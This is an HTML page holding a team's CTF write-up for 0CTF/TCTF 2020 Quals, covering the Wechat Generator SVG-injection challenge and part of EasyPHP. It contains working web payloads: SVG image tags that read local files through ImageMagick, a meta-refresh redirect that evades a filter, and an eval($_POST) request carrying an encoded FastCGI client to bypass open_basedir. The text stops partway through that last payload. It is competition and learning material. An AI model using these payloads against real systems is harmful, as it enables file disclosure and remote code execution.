<!DOCTYPE HTML>
<!-- This page is modified from the template https://www.codeply.com/go/7XYosZ7VH5 by Carol Skelly (@iatek). -->
<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <title>0CTF/TCTF 2020 Quals</title>
    <link type="text/css" rel="stylesheet" href="../assets/css/github-markdown.css">
    <link type="text/css" rel="stylesheet" href="../assets/css/pilcrow.css">
    <link type="text/css" rel="stylesheet" href="../assets/css/hljs-github.min.css"/>
    <link type="text/css" rel="stylesheet" href="../assets/css/bootstrap-4.0.0-beta.3.min.css">
    <script type="text/javascript" src="../assets/js/jquery-3.3.1.slim.min.js"></script>
    <script type="text/javascript" src="../assets/js/bootstrap-4.0.0-beta.3.min.js"></script>
    <script type="text/javascript" src="../assets/js/popper-1.14.3.min.js"></script>
    <script type="text/javascript" src="../assets/js/mathjax-2.7.4/MathJax.js?config=TeX-MML-AM_CHTML"></script>
  </head>
  <style>
  body {
      padding-top: 56px;
  }

  .sticky-offset {
      top: 56px;
  }

  #body-row {
      margin-left:0;
      margin-right:0;
  }
  #sidebar-container {
      min-height: 100vh;   
      background-color: #333;
      padding: 0;
  }

  /* Sidebar sizes when expanded and expanded */
  .sidebar-expanded {
      width: 230px;
  }
  .sidebar-collapsed {
      width: 60px;
  }

  /* Menu item*/
  #sidebar-container .list-group a {
      height: 50px;
      color: white;
  }

  /* Submenu item*/
  #sidebar-container .list-group .sidebar-submenu a {
      height: 45px;
      padding-left: 60px;
  }
  .sidebar-submenu {
      font-size: 0.9rem;
  }

  /* Separators */
  .sidebar-separator-title {
      background-color: #333;
      height: 35px;
  }
  .sidebar-separator {
      background-color: #333;
      height: 25px;
  }
  .logo-separator {
      background-color: #333;    
      height: 60px;
  }


  /* 
   active scrollspy
  */
  .list-group-item.active {
    border-color: transparent;
    border-left: #e69138 solid 4px;
  }

  /* 
   anchor padding top
   https://stackoverflow.com/a/28824157
  */
  :target:before {
    content:"";
    display:block;
    height:56px; /* fixed header height*/
    margin:-56px 0 0; /* negative fixed header height */
  }
  </style>
  
  <script>
  // https://stackoverflow.com/a/48330533
  $(window).on('activate.bs.scrollspy', function (event) {
    let active_collapse = $($('.list-group-item.active').parents()[0]);
    $(".collapse").removeClass("show");
    active_collapse.addClass("show");

    let parent_menu = $('a[href="#' + active_collapse[0].id + '"]');
    $('a[href^="#submenu"]').css("border-left", "");
    parent_menu.css("border-left","#e69138 solid 4px");
  });

  // http://docs.mathjax.org/en/latest/tex.html#tex-and-latex-math-delimiters
  MathJax.Hub.Config({
    tex2jax: {
      inlineMath: [['$','$'], ['\\(','\\)']],
      processEscapes: true
    }
  });
  </script>

  <body style="position: relative;" data-spy="scroll" data-target=".sidebar-submenu" data-offset="70">
    <nav class="navbar navbar-expand-md navbar-light bg-light fixed-top">
      <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarNavDropdown" aria-controls="navbarNavDropdown" aria-expanded="false" aria-label="Toggle navigation">
        <span class="navbar-toggler-icon"></span>
      </button>
      <a class="navbar-brand" href="https://github.com/balsn/ctf_writeup">
        <img src="https://github.githubassets.com/images/modules/logos_page/GitHub-Mark.png" class="d-inline-block align-top" alt="" width="30" height="30">
        <span class="menu-collapsed">balsn / ctf_writeup</span>
      </a>
      <div class="collapse navbar-collapse" id="navbarNavDropdown">
        <ul class="navbar-nav my-2 my-lg-0">
            
            <li class="nav-item dropdown d-sm-block d-md-none">
              <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
              <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
        
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                web
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#wechat-generator">wechat-generator</a>
    
                <a class="dropdown-item" href="#easyphp">easyphp</a>
    
                <a class="dropdown-item" href="#lottery">lottery</a>
    
                <a class="dropdown-item" href="#amp-2020-(not-solved)">amp-2020-(not-solved)</a>
    
              </div>
            </li>
    
            <li class="nav-item dropdown d-sm-block d-md-none">
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                pwn
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#chromium-rce">chromium-rce</a>
    
                <a class="dropdown-item" href="#chromium-sbx">chromium-sbx</a>
    
                <a class="dropdown-item" href="#simple-echoserver">simple-echoserver</a>
    
                <a class="dropdown-item" href="#eeeeeemoji">eeeeeemoji</a>
    
                <a class="dropdown-item" href="#duet">duet</a>
    
              </div>
            </li>
    
            <li class="nav-item dropdown d-sm-block d-md-none">
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                rev
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#flash-1">flash-1</a>
    
                <a class="dropdown-item" href="#babymisc">babymisc</a>
    
              </div>
            </li>
    
            <li class="nav-item dropdown d-sm-block d-md-none">
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                crypto
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#babyring">babyring</a>
    
                <a class="dropdown-item" href="#emmm">emmm</a>
    
                <a class="dropdown-item" href="#simple-curve">simple-curve</a>
    
                <a class="dropdown-item" href="#sham">sham</a>
    
                <a class="dropdown-item" href="#gene">gene</a>
    
              </div>
            </li>
    
            <li class="nav-item dropdown d-sm-block d-md-none">
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                misc
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#pyaucalc">pyaucalc</a>
    
                <a class="dropdown-item" href="#eeemoji">eeemoji</a>
    
                <a class="dropdown-item" href="#cloud-computing-v1">cloud-computing-v1</a>
    
                <a class="dropdown-item" href="#cloud-computing-v2">cloud-computing-v2</a>
    
              </div>
            </li>
    
        </ul>
      </div>
      <div class="navbar-collapse collapse w-100 order-3 dual-collapse2">
        <ul class="navbar-nav ml-auto">
          <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="160px" height="30px"></iframe>
          <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="160px" height="30px"></iframe>
        </ul>
      </div>
    </nav>
    <div class="row" id="body-row">
      <div id="sidebar-container" class="sidebar-expanded d-none d-md-block col-2">
        <ul class="list-group sticky-top sticky-offset">
          
          <a href="#submenu0" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">web</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu0" class="collapse sidebar-submenu">
            <a href="#wechat-generator" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">wechat-generator</span>
            </a>
    
<a href="#easyphp" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">easyphp</span>
            </a>
    
<a href="#lottery" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">lottery</span>
            </a>
    
<a href="#amp-2020-(not-solved)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">amp-2020-(not-solved)</span>
            </a>
    
          </div>
    
          <a href="#submenu1" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">pwn</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu1" class="collapse sidebar-submenu">
            <a href="#chromium-rce" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">chromium-rce</span>
            </a>
    
<a href="#chromium-sbx" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">chromium-sbx</span>
            </a>
    
<a href="#simple-echoserver" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">simple-echoserver</span>
            </a>
    
<a href="#eeeeeemoji" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">eeeeeemoji</span>
            </a>
    
<a href="#duet" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">duet</span>
            </a>
    
          </div>
    
          <a href="#submenu2" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">rev</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu2" class="collapse sidebar-submenu">
            <a href="#flash-1" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">flash-1</span>
            </a>
    
<a href="#babymisc" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">babymisc</span>
            </a>
    
          </div>
    
          <a href="#submenu3" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">crypto</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu3" class="collapse sidebar-submenu">
            <a href="#babyring" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">babyring</span>
            </a>
    
<a href="#emmm" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">emmm</span>
            </a>
    
<a href="#simple-curve" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">simple-curve</span>
            </a>
    
<a href="#sham" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">sham</span>
            </a>
    
<a href="#gene" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">gene</span>
            </a>
    
          </div>
    
          <a href="#submenu4" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">misc</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu4" class="collapse sidebar-submenu">
            <a href="#pyaucalc" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">pyaucalc</span>
            </a>
    
<a href="#eeemoji" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">eeemoji</span>
            </a>
    
<a href="#cloud-computing-v1" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">cloud-computing-v1</span>
            </a>
    
<a href="#cloud-computing-v2" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">cloud-computing-v2</span>
            </a>
    
          </div>
    
        </ul>
      </div>
      <div class="col-10 py-3">
        <article class="markdown-body"><h1 id="0ctf/tctf-2020-quals"><a class="header-link" href="#0ctf/tctf-2020-quals"></a>0CTF/TCTF 2020 Quals</h1>

<h2 id="web"><a class="header-link" href="#web"></a>Web</h2>
<h3 id="wechat-generator"><a class="header-link" href="#wechat-generator"></a>Wechat Generator</h3>
<p>The webserver will generate a SVG image based on user input.</p>
<p>The user input is properly escaped, but the custom emoji part is not. A emoji named <code>&quot;&quot;&lt;h1&gt;</code> will generate <code>&lt;image xlink:href=&quot;http://pwnable.org:5000/static/emoji/&quot;&lt;h1&gt;.png&quot; /&gt;</code>. Basically we can inject everything with it.</p>
<p>The server also suppouts converting to different formats:</p>
<pre class="hljs"><code><span class="hljs-symbol">http:</span>//pwnable<span class="hljs-meta">.org</span>:<span class="hljs-number">5000</span>/image/wtqlzU/svg
<span class="hljs-symbol">http:</span>//pwnable<span class="hljs-meta">.org</span>:<span class="hljs-number">5000</span>/image/wtqlzU/jpg
<span class="hljs-symbol">http:</span>//pwnable<span class="hljs-meta">.org</span>:<span class="hljs-number">5000</span>/image/wtqlzU/pdf</code></pre><p>The title of <code>pdf</code> format is <code>magick-...</code>, so we can infer the backend will be using Imagemagick. Converting SVG in Imagemagick can lead to <a href="https://blog.bushwhackers.ru/googlectf-2019-gphotos-writeup/#imagemagickexploitation">local file inclusion</a> by specifying href to <code>file:///etc/hosts</code>.</p>
<pre class="hljs"><code>&lt;<span class="hljs-built_in">image</span> <span class="hljs-built_in">transform</span>=<span class="hljs-string">"scale(0.7,0.3)"</span> x=<span class="hljs-string">"-300"</span> y=<span class="hljs-string">"-400"</span> <span class="hljs-built_in">width</span>=<span class="hljs-string">"1242"</span> <span class="hljs-built_in">height</span>=<span class="hljs-string">"2208"</span> href=<span class="hljs-string">"file:///etc/os-release"</span> /&gt;</code></pre><p>The SVG support <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/image">some useful attributes</a>. They can be used to show more file content.</p>
<p>Read content in <code>/flag</code> we have:</p>
<pre class="hljs"><code>Good job!
Now what<span class="hljs-comment">'s the next step?</span></code></pre><p>So we probably need RCE or read other file. The webserver is using Python. We can guess the source code path <code>/app/app.py</code>, <code>/app/main.py</code>, <code>/app/server.py</code>, <code>/var/www/...</code> . It&#39;s at <code>/app/app.py</code>. (I&#39;m not sure if it can be infered from other files.)</p>
<p class="img-container"><img src="https://i.imgur.com/9t2MdLt.png" alt=""></p>
<p>First, <code>src|proc|env|meta</code> will be replaced. Next, there is a secret API <code>/SUp3r_S3cret_URL/0Nly_4dM1n_Kn0ws</code>. Visiting this we will see a XSS challenge page asking us to pop <code>alert(1)</code>. After asking the admin in IRC he/she can confirm it&#39;s part of this challenge.</p>
<p>But we&#39;re too lazy to find a XSS in this domain. Wait, can we just pop an alert window in our own domain? It turns out it&#39;s YES. In the end we just use meta to redirect admin to our website and pop alert window. Then we get the juicy flag. The WAF can be easily bypassed.</p>
<pre class="hljs"><code>[
foo<span class="hljs-string">" /&gt;</span>
&lt;mmetaeta http-equiv=<span class="hljs-string">"refresh"</span> content=<span class="hljs-string">"0;url=https://lab.bookgin.tw/test/alert.html"</span> /&gt;
&lt;image xlink:href=<span class="hljs-string">"bar</span>
]</code></pre><p>Flag: <code>flag{5Vg_1s_Pow3rFu1_y3T_D4n93r0u5_eba66e10}</code></p>
<h3 id="easyphp"><a class="header-link" href="#easyphp"></a>EasyPHP</h3>
<p>Solved by <a href="https://twitter.com/KAIKAIBRO">kaibro</a>, written by bookgin.</p>
<pre class="hljs"><code>Disable <span class="hljs-keyword">function</span><span class="hljs-variable">s:</span>

set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,<span class="hljs-built_in">system</span>,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,<span class="hljs-keyword">dl</span>

open_basedir:

/var/www/html

unix_socke<span class="hljs-variable">t:</span>

/var/run/php-fpm.sock</code></pre><p>In the <code>/</code> there are <code>flag.h</code> and <code>flag.so</code>.</p>
<p>The idea is directly connecting to fastcgi and then overwrite <code>open_basedir</code>.</p>
<pre class="hljs"><code>http://pwnable.org:<span class="hljs-number">19260</span>/?rh=eval($_POST[<span class="hljs-number">1</span>])<span class="hljs-comment">;
</span>
<span class="hljs-number">1</span>=echo<span class="hljs-symbol">%20123</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>Aclass<span class="hljs-symbol">%20</span>FCGIClient<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%7</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>const<span class="hljs-symbol">%20</span>VERSION_<span class="hljs-number">1</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%201</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>const<span class="hljs-symbol">%20</span>BEGIN_REQUEST<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%201</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>const<span class="hljs-symbol">%20</span>ABORT_REQUEST<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%202</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>const<span class="hljs-symbol">%20</span>END_REQUEST<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%203</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>const<span class="hljs-symbol">%20</span>PARAMS<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%204</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>const<span class="hljs-symbol">%20</span>STDIN<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%205</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>const<span class="hljs-symbol">%20</span>STDOUT<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%206</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>const<span class="hljs-symbol">%20</span>STDERR<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%207</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>const<span class="hljs-symbol">%20</span>DATA<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%208</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>const<span class="hljs-symbol">%20</span>GET_VALUES<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%209</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>const<span class="hljs-symbol">%20</span>GET_VALUES_RESULT<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%2010</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>const<span class="hljs-symbol">%20</span>UNKNOWN_TYPE<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%2011</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>const<span class="hljs-symbol">%20</span>MAXTYPE<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span>self<span class="hljs-symbol">%3</span>A<span class="hljs-symbol">%3</span>AUNKNOWN_TYPE<span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>const<span class="hljs-symbol">%20</span>RESPONDER<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%201</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>const<span class="hljs-symbol">%20</span>AUTHORIZER<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%202</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>const<span class="hljs-symbol">%20</span>FILTER<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%203</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>const<span class="hljs-symbol">%20</span>REQUEST_COMPLETE<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%200</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>const<span class="hljs-symbol">%20</span>CANT_MPX_CONN<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%201</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>const<span class="hljs-symbol">%20</span>OVERLOADED<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%202</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span 